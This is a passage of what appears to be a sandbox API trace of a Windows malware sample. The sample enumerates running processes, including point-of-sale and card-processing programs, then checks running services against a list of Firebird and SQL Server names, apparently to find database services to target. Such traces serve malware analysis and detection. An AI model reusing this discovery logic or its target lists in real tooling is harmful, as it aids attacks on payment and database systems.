lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0067.858] lstrlenW (lpString="active-charge.exe") returned 17 [0067.858] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0067.859] lstrlenW (lpString="accupos.exe") returned 11 [0067.859] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0067.860] lstrlenW (lpString="afr38.exe") returned 9 [0067.860] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0067.861] lstrlenW (lpString="aldelo.exe") returned 10 [0067.861] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0067.861] lstrlenW (lpString="ccv_server.exe") returned 14 [0067.861] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0067.862] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0067.862] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0067.863] lstrlenW (lpString="creditservice.exe") returned 17 [0067.863] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0067.864] lstrlenW (lpString="edcsvr.exe") returned 10 [0067.864] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0067.864] lstrlenW (lpString="fpos.exe") returned 8 [0067.865] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0067.865] lstrlenW (lpString="isspos.exe") returned 10 [0067.865] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0067.866] lstrlenW (lpString="mxslipstream.exe") returned 16 [0067.866] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0067.867] lstrlenW (lpString="omnipos.exe") returned 11 [0067.867] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0067.868] lstrlenW (lpString="spcwin.exe") returned 10 [0067.868] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1084, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0067.868] lstrlenW (lpString="spgagentservice.exe") returned 19 [0067.868] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0067.869] lstrlenW (lpString="utg2.exe") returned 8 [0067.869] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hygiene_ppm.exe")) returned 1 [0067.870] lstrlenW (lpString="hygiene_ppm.exe") returned 15 [0067.870] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="glow be.exe")) returned 1 [0067.870] lstrlenW (lpString="glow be.exe") returned 11 [0067.870] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects_pixel_academics.exe")) returned 1 [0067.871] lstrlenW (lpString="prospects_pixel_academics.exe") returned 29 [0067.871] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="contains roles was.exe")) returned 1 [0067.872] lstrlenW (lpString="contains roles was.exe") returned 22 [0067.872] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0067.873] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0067.873] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0067.874] lstrlenW (lpString="taskhostw.exe") returned 13 [0067.874] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0067.874] lstrlenW (lpString="taskhostw.exe") returned 13 [0067.874] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0067.875] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0067.875] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0067.876] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0067.876] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="sc.exe")) returned 1 [0067.876] lstrlenW (lpString="sc.exe") returned 6 [0067.876] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0067.877] lstrlenW (lpString="UsoClient.exe") returned 13 [0067.877] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0067.878] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0067.878] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x120c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0067.878] lstrlenW (lpString="conhost.exe") returned 11 [0067.878] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1204, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0067.879] lstrlenW (lpString="conhost.exe") returned 11 [0067.879] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11fc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0067.879] lstrlenW (lpString="conhost.exe") returned 11 [0067.880] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.880] lstrlenW (lpString="svchost.exe") returned 11 [0067.880] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0067.881] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0067.881] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.881] lstrlenW (lpString="svchost.exe") returned 11 [0067.881] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x118c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0067.882] lstrlenW (lpString="cmd.exe") returned 7 [0067.882] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x510, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0067.882] lstrlenW (lpString="conhost.exe") returned 11 [0067.882] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x510, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0067.883] CloseHandle (hObject=0x348) returned 1 [0067.883] Sleep (dwMilliseconds=0x1f4) [0068.820] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4ced60 [0068.821] EnumServicesStatusExW (in: hSCManager=0x4ced60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0) returned 0 [0068.821] GetLastError () returned 0xea [0068.821] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1d5a) returned 0x3eeba98 [0068.822] EnumServicesStatusExW (in: hSCManager=0x4ced60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3eeba98, cbBufSize=0x1d5a, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3eeba98, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0) returned 1 [0068.823] CloseServiceHandle (hSCObject=0x4ced60) returned 1 [0068.823] lstrlenW (lpString="Appinfo") returned 7 [0068.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0068.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0068.823] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0068.823] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0068.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0068.823] lstrlenW (lpString="AppXSvc") returned 7 [0068.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0068.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0068.823] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0068.823] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0068.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0068.823] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0068.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0068.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0068.823] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0068.823] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0068.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0068.824] lstrlenW (lpString="Audiosrv") returned 8 [0068.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0068.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0068.824] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0068.824] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0068.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0068.824] lstrlenW (lpString="BFE") returned 3 [0068.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0068.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0068.824] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0068.824] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0068.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0068.824] lstrlenW (lpString="BITS") returned 4 [0068.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0068.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0068.824] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0068.824] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0068.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0068.824] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0068.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0068.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0068.824] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0068.824] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0068.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0068.824] lstrlenW (lpString="CDPSvc") returned 6 [0068.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0068.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0068.825] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0068.825] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0068.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0068.825] lstrlenW (lpString="ClickToRunSvc") returned 13 [0068.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0068.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0068.825] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0068.825] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0068.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0068.825] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0068.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0068.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0068.825] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0068.825] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0068.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0068.825] lstrlenW (lpString="CryptSvc") returned 8 [0068.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0068.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0068.826] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0068.826] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0068.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0068.826] lstrlenW (lpString="DcomLaunch") returned 10 [0068.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0068.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0068.826] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0068.826] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0068.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0068.826] lstrlenW (lpString="DeviceAssociationService") returned 24 [0068.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0068.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0068.826] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0068.826] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0068.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0068.826] lstrlenW (lpString="Dhcp") returned 4 [0068.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0068.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0068.826] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0068.826] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0068.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0068.826] lstrlenW (lpString="Dnscache") returned 8 [0068.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0068.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0068.826] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0068.826] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0068.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0068.826] lstrlenW (lpString="DoSvc") returned 5 [0068.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0068.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0068.827] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0068.827] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0068.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0068.827] lstrlenW (lpString="DPS") returned 3 [0068.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0068.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0068.827] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0068.827] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0068.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0068.827] lstrlenW (lpString="DusmSvc") returned 7 [0068.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0068.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0068.827] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0068.827] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0068.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0068.827] lstrlenW (lpString="EventLog") returned 8 [0068.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0068.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0068.827] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0068.827] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0068.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0068.827] lstrlenW (lpString="EventSystem") returned 11 [0068.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0068.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0068.827] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0068.827] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0068.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0068.828] lstrlenW (lpString="FontCache") returned 9 [0068.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0068.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0068.828] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0068.828] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0068.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0068.828] lstrlenW (lpString="gpsvc") returned 5 [0068.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0068.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0068.828] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0068.828] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0068.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0068.828] lstrlenW (lpString="iphlpsvc") returned 8 [0068.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0068.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0068.828] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0068.828] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0068.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0068.828] lstrlenW (lpString="KeyIso") returned 6 [0068.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0068.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0068.828] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0068.828] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0068.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0068.828] lstrlenW (lpString="LanmanServer") returned 12 [0068.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0068.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0068.828] lstrcmpiW 